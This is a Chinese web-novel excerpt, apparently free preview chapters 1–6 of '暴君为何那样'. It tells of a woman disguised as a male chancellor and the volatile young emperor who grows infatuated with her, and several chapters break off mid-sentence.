《暴君为何那样》 1. 01 《暴君为何那样》全本免费阅读 “阿父,见字如晤。陛下顺利登基半年有余,朝政局势平稳,孩儿功成,已到身退之日,若是顺利,或许中秋便可回乡。” 春风自窗台吹入,徐徐将墨迹吹干,一双素白的手将信纸拈起,方正地叠好,塞进信封之中,还未及封口,便听一声呼喊由远及近要命一样传来。 “谢相,救命!” 案桌前的人抬眸,自桃花盈满的窗台往外望去,却见御史唐捐德疾跑进君珩院,府上的管事在屁股后气喘吁吁地追着。 “下官叨扰谢相,望谢相海涵。只是眼下有十万火急之事,还请谢相速去救人性命。陛下金口玉言,押了刘杰、王涛等六位御史每人赐八十廷杖,打死勿论!” 谢归晏闻言,很是吃惊。 她这几日因身上来了葵水,便‘抱病’在家,休沐前她分明再三叮嘱岑婴,自古明君不杀言官,结果这才过了一日,岑婴就要杖杀六位言官了。 谢归晏认识到此事非同小可,也不顾身上葵水,便立刻拖了跑得喘息连天的唐捐德往垂花门去:“羽林卫在何处行刑?唐大人快带我去。” 又迅速吩咐管家:“快备马车。” 此时她真的万分庆幸即使自己赋闲,也不曾懈怠,胸前用棉白布一圈圈缠绕了起来,不用担心露陷。 一面谢归晏又问唐捐德:“那六位御史可是又是旧事重提?” 不料真被她说中,唐捐德猛拍大腿:“就是为了那事。” 谢归晏心一沉:“真是自己找死。” 说起这件事,谢归晏也觉得晦气。 这还要从太上皇说起。 太上皇是位昏庸无能的皇帝,不思政事,偏宠章贵妃,以致于政权拢于外戚之手,二皇子虎视眈眈向东宫。 好在彼时东宫还有以谢归晏为首的一干臣子,顶着压力压制住了太上皇的废太子想法,但很快太上皇又在章贵妃的蛊惑下,大行巫蛊之案,以致于皇帝的两个同胞姐姐因此惨死。 与此同时,二皇子见东宫失势,便趁着将太上皇骗去汤泉行宫之时,与章相联手,意图将皇帝烧死在东宫。 若非皇帝警觉,运筹于帷幄,调动军队,先一步反杀二皇子与章相,他可能真要死于一场‘意外走水’之中。 因此皇帝登基之后,干净利落地将章家九族屠戮殆尽,赐死章贵妃与二皇子,却也没忘了太上皇这个真正的罪魁祸首。 太上皇还是皇帝时就不喜欢理国事,唯爱听戏,皇帝便将他囚于梨园,无诏不得踏出半步。 那梨园本就是听曲看戏的所在,屋舍稀少,也难避风雨,太上皇过得苦不堪言,才住进去半年,风湿痹痛如雨后春笋般冒了出来,平日里再感个风寒,延请太医丞的次数便多了。 几个御史风闻,难免觉得皇帝此举有违孝道,于是就上了这么道要命的折子。 可想而知,岑婴看了后,会生多大的气。 谢归晏头疼地揉了揉太阳穴。 还好,她的谢府是御赐的宅邸,就坐落于崇仁坊,紧挨大明宫,因此很快便穿过丹凤门,过了下马桥,就见那六个御史一字排开,被压在板凳上,受那辱人又要命的杖刑。 而三丈远之处,岑婴便坐在肩舆上看着。 谢归晏松了口气,他在旁边就好,这一来一去的,省了不少时候。 她没有用步梯,从马车上跳了下来,唐捐德扶都来不及扶,哎呦了声,将肩舆上原本阴沉着脸看刑的岑婴惊动,转过目光来,就见一位素洁如皎月,行止若玉山的郎官向他行来。 岑婴眯起眼,一改懒散的神色,坐直起身:“明洪,那似乎是朕的谢相。” 明洪忙躬身问道:“陛下可要落轿?” 岑婴目光转向那六个该死的御史,眼眸一沉,道:“不落。他是为这些言官进宫的,朕倒要看看,朕的谢相究竟是不是站在朕的这边。” 明洪微微叹气。 很快,谢归晏便行到岑婴面前,与他行了君臣之礼。 岑婴支着下巴:“谢相不是抱病在家休养,怎么突然无召进宫?” 他是个俊美到堪称邪魅的郎君,乌发簪冠,潋滟桃花眼下,轻点胭脂痣,唇红齿白,郎艳独绝,世无其二。 因为这样的长相,让他天生便有一种玩世不恭的气质,这样的气质落到当下这场景,就很有草菅人命的暴君意味。 谢归晏道:“微臣听说几位监察御史上了道糊涂折子,惹怒了陛下,微臣为他们求情而来。” 岑婴观谢归晏脸上略带病容,让她看起来若霜雪覆竹,清寒自傲。 于是听罢冷笑:“朕总听底下的臣子说这大燕不能没有谢相。如今看谢相拖着病体还要给六个狂悖之徒来求情,谢相心肠之软确实是大燕不可或缺。” 他将对谢归晏的不满明晃晃地挂在脸上。 谢归晏从容应对岑婴的不满。 她十八岁入东宫做侍读,陪了岑婴整整七年,自诩还算对他有些了解。 这位陛下做太子时,因为母后不得宠,也因为天资过于聪颖,锋芒毕露,以致于很不得太上皇的喜欢,总是有意无意地打击他。 他所喜欢的必然要将其掠夺,他所珍惜的必然要将其打碎。 久而久之,就养出了岑婴领地意识极强的性格,一旦被他圈进领地范围内的东西都必须被他所有,不被允许有二心,绝不能被太上皇抢走,也不能被二皇子夺去。 而眼下,在岑婴眼里,这些御史无疑是敌人,那么作为曾经的东宫侍读的谢归晏,就应当与他站在一起叱责他们,而不是拖着病躯来为这些混账求情。 谢归晏是如此的了解岑婴,所以当他说出这样的话时,她毫不费力地对答如流:“今日之事事关陛下的清誉,莫说微臣当下还能走动,就是躺在病榻上,也要叫人抬着进宫面圣。” “事关朕的清誉?”岑婴哼了声,“你倒说说看,你是怎么替朕着想的。” 他的神色依然阴得能滴出水来,半分不为谢归晏的话所动。 谢归 2. 02 《暴君为何那样》全本免费阅读 坐着肩舆前往太极殿的路上,谢归晏紧紧盯着岑婴的后脑勺,都在思索这件事。 岑婴身在宫中,是如何知晓她与顾屿照相约吃酒的事? 难道岑婴派人监视他们二人? 可她与顾屿照都是东宫旧臣,有些私交实属平常,岑婴好端端的,为何要派人监视他们? 谢归晏脑中转过千百念头,便听岑婴低低闷笑,悠然吩咐抬肩舆的几个内监:“谢相都快把朕的后脑勺盯穿了,还不放缓脚步,让朕与谢相同行。” 内监忙调整行走的动向。 岑婴满脸愉悦:“敏行何故盯着朕看,一眼不错的,不知道的还以为你这般专注,是在看哪家姑娘。” 岑婴今日不必上朝,不必着冕服,身穿一件朱樱色暗金龙纹圆领襕袍,衬得他肤似敷粉,颜若晕胭,风流万千。 即便是谢归晏看久了这张脸,偶尔间也会晃神。 她这位陛下生得着实好看了些。 但再好看,谢归晏为没有这个胆子把他当小娘子看。 谢归晏暗窘:“微臣有一事不解,陛下是何从得知微臣与顾将军吃酒之事?” 岑婴的笑顷刻就收了起来,仿佛寒冬扫春:“原来是为这事。” 他斜过来眼,观察着谢归晏的神色:“敏行莫不是认为朕派人监视你与顾屿照?” 谢归晏道:“怎会,陛下是圣明君子,如何会做这般事。” 岑婴紧紧追咬:“朕可不是什么圣明君子,敏行难道忘了今日是为何入宫?若没有你在,朕可就真的把那六个言官打死了,从此往后,朕便是史书中杖杀言官的第一暴君。” 谢归晏沉默了会儿,道:“陛下十一岁时,微臣便入东宫侍读,相伴陛下七年,若非陛下有明君之资,微臣不会追随陛下。” 岑婴挑眉:“敏行不是因为朕乃东宫正统,才追随朕?” 谢归晏疾声:“自然不是。” 岑婴的手指敲了一下扶手,轻轻一笑:“不是就好,不然朕真要怀疑从前敏行待朕那般亲厚,都是因为朕在正统之位,若换个人,敏行依然会如此待他。否则缘何自朕登基后,敏行再见朕,便总是大礼随行,口言君臣,再不复往日亲密。” 谢归晏疑惑:“君臣有别,微臣自当恪守,否则陛下威信如何竖立。” 岑婴听到这重复了大半年的论调就烦心,摆手示意谢归晏不要再念叨了。 他道:“刘杰,喏,就是那个购置棺材,等着被杖刑的那个死脑筋,撞见你与顾屿照进了明月楼。他听说明月楼酒资巨贵,以为此举奢靡万分,便上折子参了你们二人一本,那折子朕还留着,过会儿给你瞧瞧。” 听罢,谢归晏着实松了口气。 还好,岑婴还是个明君,没有做出私养皇家卫探的的事来。 岑婴奇道:“你救了参你之人的性命,怎么半点都不懊恼?” 谢归晏温声道:“刘大人身为御史,本就有监察百官之责,明月楼酒资巨贵,微臣身为百官之首,出入此等奢靡之地确实不合适。” 岑婴哼了声:“谢相当真是名臣雅士。”他又说起那在朝中流传许久的话,“大燕确实不能没有谢相。” 谢归晏脸一红,只觉这话太过夸大,臊得她脸发热,只得目移向旁,用手作扇,给自己扇点凉气降温。 岑婴瞧见他那样一夸就害臊,跟小娘子似的害羞不止的模样,只觉有趣,不自觉就多看了会儿。 谢归晏疑惑:“陛下为何一直看着微臣?” 岑婴这才依依不舍地收回目光,道:“你们那日怎么想到要去明月楼吃酒?” 这事怎么还没有过去? 谢归晏边诧异,边老老实实地回答:“那日是顾将军的生辰,他父母亲人都不在身边,实在孤单,便请微臣去吃酒。” 岑婴皱起眉:“他父母亲人不在,自可宴请同僚,为何只请你一人?” 话头怎么又绕回来了? 谢归晏当然不敢把实情告知岑婴,只道:“微臣与顾将军都是东宫旧臣,有同袍之谊,那日也是为了顺便庆祝陛下登基,毕竟陛下登基后,诸事繁忙,我们一直都没有找到闲暇时间。” 东宫之日刀光剑影,宛若在战场穿行,诛杀皇子贵妃那夜,双方更是分发兵械,对战了整整一日,谢归晏将其称之为同袍之谊,似乎也说得过去。 但岑婴听了还是不悦:“既是要庆祝朕登基,为何不延请朕只请你?” 何况那日谢归晏一直守在他的身边,与顾屿照有劳什子的同袍之谊。 谢归晏听着岑婴的意思,忖度了几遍,怎么总觉得是岑婴不满顾屿照把他丢下单独去找她喝酒。 是了,顾屿照比她还早就入东宫伴主,岑婴那身武艺还是他教的,若论情谊,确实是他与陛下更深厚些。 哎呀,他们的陛下还是小朋友呢,还会计较这些。 不过谢归晏还是很高兴的,岑婴待功臣情谊一如往昔,未有鸟尽弓藏之意,实在有明君气度。 她和顾屿照把岑婴教得很好呢。 大燕有此明主,何愁积弊难扫,日后必是一派欣荣。 就是看着岑婴那在意的样子,得提醒顾屿照一次,赶紧跟陛下把这酒给请回来。 谢归晏暗暗记在心中。 很快,太极殿就到了。 这是皇帝起居的宫殿,筑在高台之上,碧瓦朱甍,殿宇廊庑,开阔轩昂,气派不已。 岑婴负手看着这太极殿:“敏行是第一回来这太极殿吧?” 谢归晏道是。 她是外臣,就是被皇帝召见,也应当在东西朝堂,怎么可能越制到这太极殿来。 岑婴便道:“朕从前来得也不多,毕竟朕远不如朕的皇弟得父皇的喜爱。” 他拾步上前,进入太极殿,谢归晏忙跟随向前。 岑婴走到一块御砖前便停了。 在谢归晏眼前是一张被十二折紫檀木雕福禄寿黼扆围拢起的坐榻,榻上置放凭几,梅花式洋漆小几,上供茶具、花瓶、文王鼎、匙箸香盒等物。 谢归晏可想见若是大开宫闼,坐在这榻上,喝着清茶,把大明宫九百九十九重宫宇尽收眼底,将是一件多么令人心旷神怡的事。 岑婴却凝望着那长榻,道:“朕还记得那日父皇便是坐在那儿,吃着上贡的阳羡茶,翻着梨园新作的戏本,连头也懒得抬起看一眼跪在地上的儿子。” 他又指着跟前的御砖。 “那时朕便跪在这儿,求他饶过朕的两位皇姐的性命。她们不仅仅是朕的皇姐,更是他的亲生女儿,她们怎么可能行巫蛊之事祸害亲生父亲的性命?” “可他不听朕的哀求,只是在翻戏本之余,道了句,那扎了针,写了皇帝生辰八字的小人是不是从她们的床铺下翻找出来的?” 谢归晏自然想起了这件事。 起初只是章贵妃怀着的龙胎滑了,她在宫里休养了一月后,忽然做起噩梦,说死了的龙子托梦与她,告诉她有人用巫蛊之术毒害龙裔。 太上皇暴怒,命内监彻查此事。 谢归晏得知后,便知章贵妃之意在东宫。奉命彻查之人都是 3. 03 《暴君为何那样》全本免费阅读 如今太极殿内岑婴再与谢归晏回忆此事:“那夜后,朕便被禁足在东宫,连累的你们也跟着削职受罚。” 此时太上皇被关在梨园,谢归晏倒是可以痛痛快快地说道:“是太上皇妄信奸佞之过。” 岑婴轻笑,方才慢悠悠地晃入正题:“愿以此身长报君,你我的君臣之谊比同袍之情更甚。” 因岑婴忆起往事,谢归晏想起章贵妃之嚣张,太上皇之昏聩,好一阵唏嘘,早把之前的事忘得一干二净,哪里还记得这同袍之情是她提起,又是怎么提起的。 她便笑了笑,算是应付过去。 岑婴见她不上心的模样,虽有点失落,但也不能耐她如何,只好道:“朕命人去把刘杰参你的折子取来。” 谢归晏诧异:“刘御史的折子可有何不妥,为何还要微臣过目?” 通常来说,这样的折子,岑婴看进去了,就可以直接处罚谢归晏,也可以选择不理会,直接打回去就是了,是没有必要再给谢归晏看一眼的。 谢归晏的第一想法就是这刘杰是不是在折子里写了什么不该写的话,惹怒了岑婴。 但岑婴说:“不给你看一眼,你就要再怀疑朕绕过你,私设卫探。” 谢归晏听罢,尴尬起来:“是微臣的错,微臣应当要相信陛下的品行。” 岑婴冷哼一声,指了指偏殿:“你身上不舒服,便去那儿躺着罢。” 便有几个女使应声而来,引谢归晏往那偏殿走去。 那偏殿安置着多宝架,上面摆放了许多书籍,又在窗下设了黄花木的案桌,上面文房四宝俱全,可见这就是岑婴平日的书房了。 女使取来绒毯,铺上案桌对面的美人榻,又放上秋香色引枕,将那美人榻布置得舒舒服服的,方来恭请谢归晏躺下休息。 谢归晏苦着张脸。 虽说她平日里喝多了压制葵水的宫寒之药,就算葵水要来,量也不多,但也架不住岑婴要她在偏殿起卧,还要留她赏月。 这绒毯雪白一片,若是不小心沾染上可要怎么办。 谢归晏心里愁到发苦,却也不得不躺下。 女使替她掖好毯子,挡上黼扆,往香炉里抓了片安神养息的瑞脑香,方悄声退出。 这偏殿静得连滴漏哒哒计时的声音都听得一清二楚,来了葵水后,谢归晏本也倦乏,加之那瑞脑香安神,不一会儿,她竟也迷迷糊糊地睡了去。 此时才刚沐浴过的岑婴已换了身荔色薄罗长袍,用网巾束起半湿的发,往偏殿走来。 殿内幽静,呼吸浅浅,岑婴也放缓了脚步,绕过黼扆,将目光落在安睡的谢归晏身上。 他合着双眸,羽睫浓密地遮下阴翳,衬得肌肤如霜雪般白净细腻,鼻尖挺翘,唇瓣饱满,果真貌若好女。 岑婴过去常听人夸他色若春晓,夺彩掠霞,乃人间绝色,可岑婴不管怎么看,都觉得谢归晏比他好看得不止一倍。 岑婴看得久了,谢归晏似梦中有所觉,皱着眉要醒来,岑婴不想打扰他静养,赶紧悄声退出。 他步到正殿,坐上那长榻,可眼前仍是谢归晏熟睡之场景。 岑婴看到谢归晏那竖着的发丝随着他无意识地蹭动从小冠中脱落,柔软地垂在脸颊两侧,仿佛小猫爪子挠得岑婴心痒痒。 谢归晏在他眼前从来都是容止齐整,岑婴还是第一次看到谢归晏这般随性慵懒的模样。 他没有办法形容这种感觉,只觉得他和谢归晏似乎又亲近了些,比谢归晏与他说‘愿得此身长报君’时还要亲近。 想要再多看到他这个样子。 不是嘉言懿行的谢归晏,不是群臣赞颂的谢相,而是拥着绒毯,将下巴拢在毯下,只冒出小半张脸,安详睡着的谢归晏。 岑婴这般想着,又不自觉地站起身,想去往偏殿。可因为他过于入神,竟让膝盖撞到了案几,疼痛让他顷刻回神。 岑婴想到方才的走神之间对谢归晏的遐想,他捂着眼,觉得上天真该晴天打下雷来将他劈死。 “朕究竟在想什么?” 岑婴冷静了半晌,觉得该找点正事做,扯开那该死的注意力。 他叫来明洪:“唐捐德明知谢相身体有恙,还私自登门叨扰,罚俸三月,警告他不许再有下次。” 明洪应诺。 岑婴又道:“今日之事皆因太上皇所起,你叫人去看着,他既这般喜欢听戏,今日就叫他唱个一整夜,看他还有没有力气跟太医丞说三道四。” 末了,再叮嘱上一句:“这些事都不必叫谢相知道。” 他是什么仁厚的君子,圣明的君主吗? 从来都不是。 可有人希望他是,那便姑且就是。 * 谢归晏虽困,但这是在宫中,身上又有葵水,到底不敢多睡,囫囵一觉后就清醒。 她赶紧起身检查绒毯上是否有痕迹,还好,都是一片干净,心下松气之余,再次批评自己怎么能如此轻易放下戒心。 虽说岑婴与她略有些情分,可女扮男装到底是欺君大罪,她不能有丝毫懈怠。 这般批评完后,谢归晏便想出宫,她要面圣,就要端正衣冠,可是在偏殿找了半天,她都没有找到一面镜子,反而将岑婴惊动过来,正没骨头似的靠在墙上,看她。 “敏行找什么?” 谢归晏见人时,衣冠从来都是端正得一丝不苟,如今这般散乱头发的模样叫岑婴瞧了去,她觉得分外窘迫。 “回陛下,微臣正在寻铜镜束发。” 岑婴的目光便往那散在颊边的发丝上一顿。 也不知道是不是谢归晏的错觉,她总觉得岑婴这一顿,顿得十分微妙,十分意味深长。 她反思,以为脸上有何不妥,岑婴又将眼移开了。 岑婴道:“见惯了你一本正经的模样,朕倒觉得眼下你正好。” 谢归晏以为这是捉弄之言,苦着脸道:“陛下莫与微臣玩笑了,若是微臣这副模样被诸位御史瞧见了,又要被参一本。” 岑婴皱着眉头:“参你什么?你又没有魅惑君主。” 谢归晏怔住,继而大惊失色:“魅惑什么?谁魅惑?微臣吗?微臣如何魅惑?” 岑婴也知失言,微微窘迫:“那不然 4. 04 《暴君为何那样》全本免费阅读 岑婴虽有不舍,但政事要紧,只能暂且放谢归晏回府。 这次入宫当真是跌宕起伏,耗费神思,谢归晏回了宅邸,便什么事也不想做,吩咐门子任何人上门,除非有谋权篡位这种大事要报,否则她一概不见。 而后好好地沐浴洗漱一番,爬上拔步床,闷头大睡。 两日后葵水干净了,谢归晏才不情愿地销假上朝。 她身着红色绣仙鹤的补服,头戴长翅帽,站在文官之首,用心听着这几日的朝事。 好在岑婴责打言官之事并未在朝堂上引起非议,谢归晏松了口气。 今日朝政无事,很快便散朝。 谢归晏执着空无一字的笏板往外走去时,便听一阵低沉的声音唤她:“还请谢相留步。” 谢归晏止步,转身,就见一个身姿如松,脸庞轮廓硬朗,身着紫色绣麒麟补服的武将向她走来。 “顾将军。”谢归晏抬手,等他走到近处,确信无人能听到她的声音了,她才道,“那日你进宫来救我的事,还没与你道谢呢。” 顾屿照上朝历来两手空空,如今也是轻轻松松地背着手往外走去:“之后我去谢府寻过你,你家的门子说你身子抱恙,不见客。” 谢归晏闻言,倒有些不好意思。 顾屿照帮了她大忙,她却阴差阳错将他拒之门外,实在不够厚道。 她道:“因身上不爽利,才没想见客。顾将军之情,我一直记着,就等将军有空,请将军喝酒。” 顾屿照就道:“你确实欠了我一个人情,择日不如撞日,今日便去明月楼。” 谢归晏哪敢再去明月楼,道:“去我家吃酒,家里藏着上好的女儿红,够将军喝了。” 既然要去谢府,顾屿照便坐了谢归晏的马车。 谢归晏的马车样式极为低调,可等入了车厢便知内里奢华无比。 譬如那地衣是用陛下亲手猎的狐皮所制,铺在坐位上的绒毯则是陛下赐下的虎皮。 谢归晏喜茶,她的马车里就有成套的官窑茶具,御供的阳羡茶。 样样件件,都代表着皇帝对她的宠爱。 而这样的宠爱,即使同样是身为东宫功臣的顾屿照,也是没有的。 顾屿照望在眼里,只觉五味杂陈。 正如很少有人知道扬名天下的谢相是女儿身般,也极少有人知道谢归晏是他的未婚妻。 即使知晓谢归晏的身份隐藏得极好,岑婴至今毫无所觉,只将她当作一个男子,可是看着除他之外的男子对自己的未婚妻这般好,顾屿照仍旧觉得吃味。 谢归晏将煨好的茶水分了盏给顾屿照:“你有时间便找陛下喝次酒。” 顾屿照接过茶盏时,触碰到了谢归晏的指尖,柔软的一节,顾屿照下意识抬头看向她,她却似毫无所觉,很自然地收回了手,给自己斟茶。 顾屿照低头吃茶:“无缘无故为何要找陛下吃酒?” 谢归晏道:“上回进宫,陛下与我提起我们在明月楼吃酒,他似乎很介意你过生辰未唤他一道庆祝,你赶紧找个机会补上。” 顾屿照却道:“你这般说我倒是明白了,为何那日陛下非要将我留下喝了酒。” 谢归晏点头,心道果然如此,岑婴就是很看重顾屿照。 顾屿照道:“但我觉得陛下那日有些奇怪。那日不知为何,陛下多次劝我将束发打散,并有意无意地盯着我瞧。但也只是瞧了会儿,很快就没了兴趣,只顾着闷头喝酒。” 谢归晏听了后也很奇怪:“让你打散束发,又盯着你瞧,他是在辨认什么吗?” 顾屿照道:“我也不知,还以为你会有些头绪。” 谢归晏道:“你都不知,我怎么会知道?你我之间,陛下可是更看重你。” 顾屿照心道,我怎么不知道陛下如此看重我。 他想了想:“那日你进宫,究竟发生了什么?” 谢归晏便把那日之事说与顾屿照听:“也没什么事。” 顾屿照扶茶盏的手却紧了许多。 那日岑婴强留他喝酒,可是在含元殿喝的,没有想过带他进太极殿。太极殿在后宫,他去不了,可以理解,但为什么谢归晏可以去呢? 后来他与岑婴喝得酩酊大醉,他走路都摇摇晃晃,需要明洪叫来步辇抬着他回府。 他都这般了,岑婴也没想过在空置的宫殿里,随便安排个偏殿给他睡。 顾屿照握紧了拳头,面上却波澜无波,不让谢归晏起疑:“君心难测,我们也不要瞎琢磨了,若是猜错了陛下的心思,反倒不美了。” 他看向谢归晏:“说起来,在明月楼喝酒时我与你提起致仕的事,你考虑的怎样了?” 短时间内顾屿照问了两次,大约是着急了, 谢归晏也能理解顾屿照,二人如今都是老大不小的年纪,确实该成亲了。 前些年还可以说被家族前程牵绊,无心儿女之事,可眼下长安太平,这理由便不好用了。 顾家那边并不知道谢家入了仕途的是谢归晏,顾屿照这些年替她顶过去的压力并不小,现下还要他去安抚顾家长辈,对他确实不公平。 谢归晏理解他的难处。 她慢慢道:“那日回家后,我便考虑过了,眼下确实到了可以致仕的时候。” 顾屿照眼前一亮,他不由地向谢归晏倾靠过去。 谢归晏道:“我们之间的婚约是确实是一个原因,但最重要的还是这欺君之罪悬在头顶,终究是个隐患。” 谢归晏当初顶着巨大风险女扮男装,入东宫侍读,是为了拯救谢家。 彼时章贵妃气焰正盛,与章相里应外合,削弱东宫羽翼,谢家作为东宫支持者,被陷害入罪,后全靠顾家相救,才留了一丝苟延残喘的余地。 但章相为人阴险,不肯善罢甘休,谢家老 5. 05 《暴君为何那样》全本免费阅读 谢归晏请顾屿照吃酒,他倒不客气,直接把谢归晏的存酒都喝光了。 等送走了顾屿照,谢归晏便思索着动笔写致仕的折子,可不知怎么总也落不下笔去。 她呆呆地坐在窗前,看院中那树开得正艳的桃花,脑中想得却是那日太极殿岑婴与她提起的诺言。 愿得此身长报君,虽死犹不悔。 她将笔搁回笔架上,喃喃道:“无论如何,在春光烂漫时,提出分别都是件残忍的事啊。” 这一犹豫,谢归晏便将递折子的事耽搁到了一旬休沐。 她兢兢业业理了许久朝政,终于有了个悠闲的假日,便极为惬意地松散长发,只着一件宽大的道袍,赤足坐在檐下喝新买的新丰美酒,听庭中鸟雀啾鸣。 好不舒坦。 谢归晏正享受着她的闲散春日,便见府中女使抱琴来通报:“相爷,有个陈公子递了名帖来拜访。” 谢归晏手枕着头,晃着酒壶里的清酒,奇道:“哪家陈公子?既是来作客,怎么也不把来历说明白。” 抱琴道:“奴婢问了,陈公子只说相爷见了便知。”想了想羞着脸,补上一句,“那陈公子貌比潘安,比相爷还美。” 谢归晏一怔。 她认识的郎君里好看得有,但能被赞一句美的似乎只有一人。 思及此,手里的酒也不香了,谢归晏登时起身:“你速速将上好的茶点呈上,只说我过会儿便到。” 人已往屋里走去了,又折返回来:“他身边可带了人?” 抱琴道:“唯他一人。” 谢归晏暗骂声小祖宗,催促抱琴:“快去。” 她自己则转回屋里,迅速整顿衣冠,方疾步往正堂走去。 正堂内,岑婴正负手而立,身姿列如翠松,看墙上挂着的诗画,听得身后脚步声渐进,他悠然道:“敏行高雅,挑得这山居长卷人随景迁,景随人移,画技超凡,绘尽江岸秋景。” 谢归晏没有心情与他讨论诗画长短,上前道:“陛下怎突然出宫了?身边连个护卫都没有带,若是遇到意外如何是好?” 岑婴转身,看她脸上的忧色,颇有悦色:“敏行不必担心,朕也略通些拳脚,寻常蟊贼不敢惹朕。而京中有顾爱卿戍卫,敏行该放心才是。” 谢归晏心道这是放心不放心的事吗?岑婴是出宫来寻她,若是在宫外遇到个三长两短,她得吃不了兜着走。 可不等谢归晏再劝,岑婴便兴致勃勃道:“这还是朕初次来你家,敏行不带朕逛逛吗?” 他这般说着,人已经很反客为主地往后院走去。 他到底是帝王,谢归晏不好将他赶出,只好跟上。 岑婴道:“世人都道谢相芝兰玉树,如明月般皎洁,朕很好奇这样的谢相私下在家里是何模样。” 谢归晏扶额:“他们都太捧杀微臣了,什么明月,微臣也只是要吃五谷杂粮的俗人一个。” 岑婴的目光暗自在谢归晏身上一瞥,心里却不赞同这样的话。 那日谢归晏回去后,他便去听顾屿照汇报要事,事情不大,很快便解决,可想到午后那莫名其妙的心猿意马,岑婴还是执意要将顾屿照留下来吃酒。 吃醉了酒的男人即便是在君王面前也很难再端正行止,可面对顾屿照,岑婴却很难找回面对谢归晏时那动容的心思。 他很诧异。 尽管岑婴也心知这才是正常,可午后的心悸令他太过惊心动魄,让他难以释怀。 岑婴忍了几日,还是决定趁着休沐来探一探究竟。 在踏入谢府时,岑婴还当那时的心悸动容只是一时差了神,一时兴起,可当谢归晏与他并肩而行,为他介绍谢府的一花一木时,他的好奇与贪婪还是不可控地扩张得更大更辽阔。 这般总是一丝不苟束冠着衣,无时无刻都保持着雅止景行的谢归晏,私下里是否也有如偏殿酣睡时可爱近人的一面? 岑婴边好奇边抬头,看着刻在匾额上笔走龙蛇的‘君珩院’三个字,道:“这想来便是敏行的院落吧?” 说罢,不等谢归晏回应,便举步踏入。 谢归晏却是紧张起来,虽说她平日里谨慎,东西都收得好好的,但若岑婴兴起一翻,也难免露陷。 她忙道:“微臣的院落乏味得很,没什么好看的。” 岑婴笑吟吟:“你的院落必然藏了许多古玩字画,朕会小心,不碰坏了它……” 他打开了房门,就见案桌上摆放着谢归晏未来得及收起的小酒坛子,仔细数数,已空了两个,倒在桌上,一个开了没喝尽,敞开的口子散出醇厚的酒香。 谢归晏忙将那三个不成样的酒坛子捡起:“休沐时喝些酒,不耽误正事。” 岑婴打开一旁置放的攒心盒子,里面用来下酒的渍梅坚果快吃完了,再一旁的点心盒子倒是还剩了大半的点心,个个精致,甜得能腻人。 岑婴看向谢归晏。 谢归晏为掩尴尬,赶紧给岑婴递了块糕点:“陛下尝尝,这家点心铺子手艺不错。” 岑婴看着手里小巧精致的梅花糕,不明所以一笑:“朕当真没有想到敏行爱吃甜食。” 谢归晏努力挽回自己的形象:“也没有规定宰辅不能吃甜食吧。” “确实没有。”岑婴咬了一口,这梅花糕对他来说还是甜了,谢归晏天天吃这甜食,竟然不怕蛀牙? 他不由看去。 谢归晏正在介绍这点心,启出的贝齿洁白整齐。 他看得久了,注意力却不自觉从牙齿转移到了灵活游移如蛇的舌尖上,继而是那艳若桃红的唇瓣上。 岑婴的喉咙微微发紧。 他回过神来,仓惶转头,避开了目光。 谢归晏话说到一半,被他打断,很诧异,颇为奇怪道:“可是微臣说错了话?” “没有。” 岑婴的声音微哑。 他定了定神,忽然转过身子,三两步走到谢归晏面前,提了袖子去抹谢归晏的唇瓣。 岑婴擦得很用力,像是在抹去一个耻辱的痕迹,可饶是如此,隔着衣袖,岑婴还是能感受到他手腕上传来温软的触感。 等缓慢意识到那是什么后,他失措地后退了两步。 谢归晏忽然遭他如此对待,人已经在发懵,双唇微张,那唇瓣惨遭蹂躏,却润泽如霞,柔软依旧。 岑婴感觉他手腕那一节烫得厉害。 谢归晏见他神色不对,担忧地道:“陛下怎么了?” 岑婴有些狼狈地转过眼,不敢与她有视线接触:“没什么。” 但心知这样一 6. 06 《暴君为何那样》全本免费阅读 郎将用两块金锭敲开了小倌馆的门。 他出手阔绰,且他与岑婴瞧着就是个非富即贵的公子,于是哪怕是歇业的时段,老鸨还是很热情地拉了一批小倌供岑婴挑选。 郎将在旁战战兢兢地陪同。 岑婴粗略地在那些小倌的脸上扫了一遍,猛地后退一步,很嫌弃的模样,问老鸨:“可有温润如玉的类型?” 老鸨醒悟,拍了拍手:“谢相那般的郎君是吧?有!自然有。” 她挥着手帕,又叫上一批新的。 岑婴警醒,皱起眉头:“什么叫谢相那般的郎君?” 老鸨捂着嘴笑:“言念君子,温其如玉,谢相玉树临风,不知是多少长安小娘子的中意情郎,可惜谢相不懂风月,小娘子便只好来南曲解一解相思,我们开小倌馆的自然要为小娘子们分忧。” 她见岑婴的脸瞬间就黑成锅底,还不知死活地凑过身去,压低声了道:“当然也有如郎君这般的小公子上门。” 岑婴厌恶地躲开她靠过来的身子。 这种感觉实在太糟糕了。 原来在他眼皮子底下,长安城里竟藏着这般多胆敢光明正大的觊觎他的谢相。 而他竟然还一直不知情。 岑婴感到了偌大的冒犯与不快。 他沉着脸看那排在眼前的三位着白衣,束玉冠,用大量的脂粉勾画出谢归晏那般积玉成山的姣姣风姿。 他冷笑:“就是这样的货色在模仿谢相?简直比东施效颦还要可笑万倍。” 他甩袖离去。 郎将忙快步跟上。 岑婴脸色很难堪:“他们怎么敢打着敏行的旗号做这种生意?他们连敏行的一根脚趾都比不上。” “长安竟然还有这般荒唐的地方,等会儿你便亲自带了人,把这围了,将那些老鸨小倌都投了大狱,朕倒要看看往后还有谁敢做这种生意。” 郎将见帝王发怒,忙连声应诺。 * 近日,长安城里出了件大新闻。 首先是金吾卫郎将带人把南曲的几家小倌馆围了,把里面的人都投了大狱,刑部尚书接到旨意,要求将他们从重惩处。 因这旨意没头没尾,还引起了朝臣好一阵的议论。 紧接着,岑婴又颁下一道旨意,禁止官员出入平康三曲狎妓宴饮。 这倒是在朝廷中引起了轩然大波。 毕竟这些官员们下衙后,休沐时就好去平康见一见红颜知己,放松一番,岑婴这一道旨意算是斩断了他们大半的快乐。 他们激烈地表达了不满,但岑婴不以为意,只命顾屿照带人在平康坊几个出入口守株待兔,逮那些胆敢阳奉阴违的官员,但凡被顾屿照抓到,就是罚俸革职杖刑一条龙,很严厉。 被弄得叫苦不迭的官员只好来找谢归晏求情,请她去劝劝岑婴,他也不能只让马儿跑不让马吃草吧。 谢归晏被堵得没办法,便只好往东朝堂递了个折子。 岑婴召见了她。 谢归晏步入东朝堂的时候,就见岑婴坐在朝椅上,手里拨弄着佛串,那十八粒的佛籽被他拨得哗哗作响,可见就连佛祖都没有办法平复他此时的情绪。 谢归晏对他的不宁心神感到诧异,便将正事搁置在旁,先关心起岑婴的身体里:“近日天气逐渐转热,陛下若是心烦气躁,可以让膳房煮一壶茯茶,那茶最清凉降火。” 